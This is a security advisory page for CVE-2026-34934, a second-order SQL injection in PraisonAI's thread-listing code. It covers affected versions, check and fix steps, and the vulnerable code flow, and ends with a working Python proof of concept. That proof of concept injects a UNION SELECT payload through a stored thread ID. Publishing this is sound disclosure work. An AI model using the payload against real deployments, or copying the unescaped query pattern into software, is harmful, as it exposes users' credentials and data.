---
id: "CVE-2026-34934"
page: "https://infrastack.ai/live/CVE-2026-34934"
kind: "vulnerability"
aliases: ["CVE-2026-34934", "GHSA-9cq8-3v94-434g"]
title: "PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`"
severity: "critical"
cvss: 9.8
epss: 0.00543
exploited: false
status: "open"
category: "ai-tooling"
products: [{"name": "praisonai", "fixed": ["4.5.90"], "affected": "<= 4.5.89", "ecosystem": "pypi"}, {"name": "praison praisonai", "fixed": ["4.5.90"], "affected": "< 4.5.90", "ecosystem": "vendor"}, {"via": "cpe", "name": "PraisonAI", "fixed": ["4.5.90"], "affected": "< 4.5.90", "ecosystem": "pypi"}]
ecosystems: ["pypi", "vendor"]
tags: ["ai-agents", "ai-tooling", "cwe-89", "praisonai", "python", "self-hosted"]
not_affected_if: ["fixed-version", "no-ui-data-layer"]
published_at: "2026-04-01T23:20:32+00:00"
first_seen_at: "2026-11-16T16:03:24+00:00"
updated_at: "2026-11-16T16:08:50+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-9cq8-3v94-434g", "first_seen_at": "2026-11-16T16:03:24+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34934", "first_seen_at": "2026-11-16T16:08:50+00:00"}]
exploit_sources: [{"type": "epss", "score": 0.00543, "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-34934"}]
---

# PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`

Link for people: https://infrastack.ai/live/CVE-2026-34934 (this .md is for agents)

PraisonAI builds a raw SQL query by joining stored thread IDs into the query text, so a thread ID saved through update_thread is executed as SQL when the thread list loads. An attacker who can create threads can read or change any data in the application database, including user emails, session tokens and API keys.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:praisonai affected <= 4.5.89 fixed 4.5.90
- vendor:praison praisonai affected < 4.5.90 fixed 4.5.90
- pypi:PraisonAI affected < 4.5.90 fixed 4.5.90

## How to check

- Check whether the installed `praisonai` package is at or below `4.5.89` with `pip show praisonai`.
- Look for the Chainlit-based UI backend in use via `src/praisonai/praisonai/ui/sql_alchemy.py` in your deployment.

## Fix

- `praisonai` `4.5.90`

## Timeline

- 2026-11-16T16:03:24+00:00 ghsa https://github.com/advisories/GHSA-9cq8-3v94-434g
- 2026-11-16T16:08:50+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-34934

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/MervinPraison/PraisonAI/security-advisories/GHSA-9cq8-3v94-434g
- [advisory] Maintainer's advisory: github.com https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9cq8-3v94-434g

## From the sources

## Summary

The `get_all_user_threads` function constructs raw SQL queries using f-strings with unescaped thread IDs fetched from the database. An attacker stores a malicious thread ID via `update_thread`. When the application loads the thread list, the injected payload executes and grants full database access.

---

## Details

**File Path:**  
`src/praisonai/praisonai/ui/sql_alchemy.py`

**Flow:**
- **Source (Line 539):**
```python
await data_layer.update_thread(thread_id=payload, user_id=user)
```

- **Hop (Line 547):**
```python
thread_ids = "('" + "','".join([t["thread_id"] for t in user_threads]) + "')"
```

- **Sink (Line 576):**
```sql
WHERE s."threadId" IN {thread_ids}
```

---

## Proof of Concept (PoC)

```python

import asyncio
from praisonai.ui.sql_alchemy import SQLAlchemyDataLayer

async def run_poc():
    data_layer = SQLAlchemyDataLayer(conninfo="sqlite+aiosqlite:///app.db")

    # Insert a valid thread
    await data_layer.update_thread(
        thread_id="valid_thread", 
        user_id="attacker"
    )

    # Inject malicious payload
    payload = "x') UNION SELECT name, null, null, 'valid_thread', null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null, null FROM sqlite_master--"

    await data_layer.update_thread(
        thread_id=payload, 
        user_id="attacker"
    )

    # Trigger vulnerable function
    result = await data_layer.get_all_user_threads(user_id="attacker")

    for thread in result:
        if getattr(thread, 'id', '') == 'valid_thread':
            for step in getattr(thread, 'steps', []):
                print(getattr(step, 'id', ''))

asyncio.run(run_poc())

# Expected Output:
# sqlite_master table names printed to console
```

---

## Impact

An attacker can achieve full database compromise, including:

- Exfiltration of sensitive data (user emails, session tokens, API keys)
- Access to all conversation histories
- Ability to modify or delete database contents

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
